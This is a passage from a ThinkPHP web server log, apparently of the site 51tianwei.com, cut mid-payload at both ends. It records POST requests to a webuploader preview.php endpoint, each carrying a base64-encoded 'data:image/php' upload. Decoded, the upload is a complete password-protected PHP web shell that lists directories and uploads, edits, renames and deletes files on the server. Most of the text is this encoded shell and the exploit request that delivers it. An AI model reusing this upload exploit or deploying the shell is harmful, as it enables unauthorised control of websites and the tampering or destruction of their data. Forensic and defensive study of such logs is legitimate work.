BBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:03+08:00 ] 119.42.146.234 POST 51tianwei.com/jquery/UI/H-ui.admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002596s] [吞吐率:385.19req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9I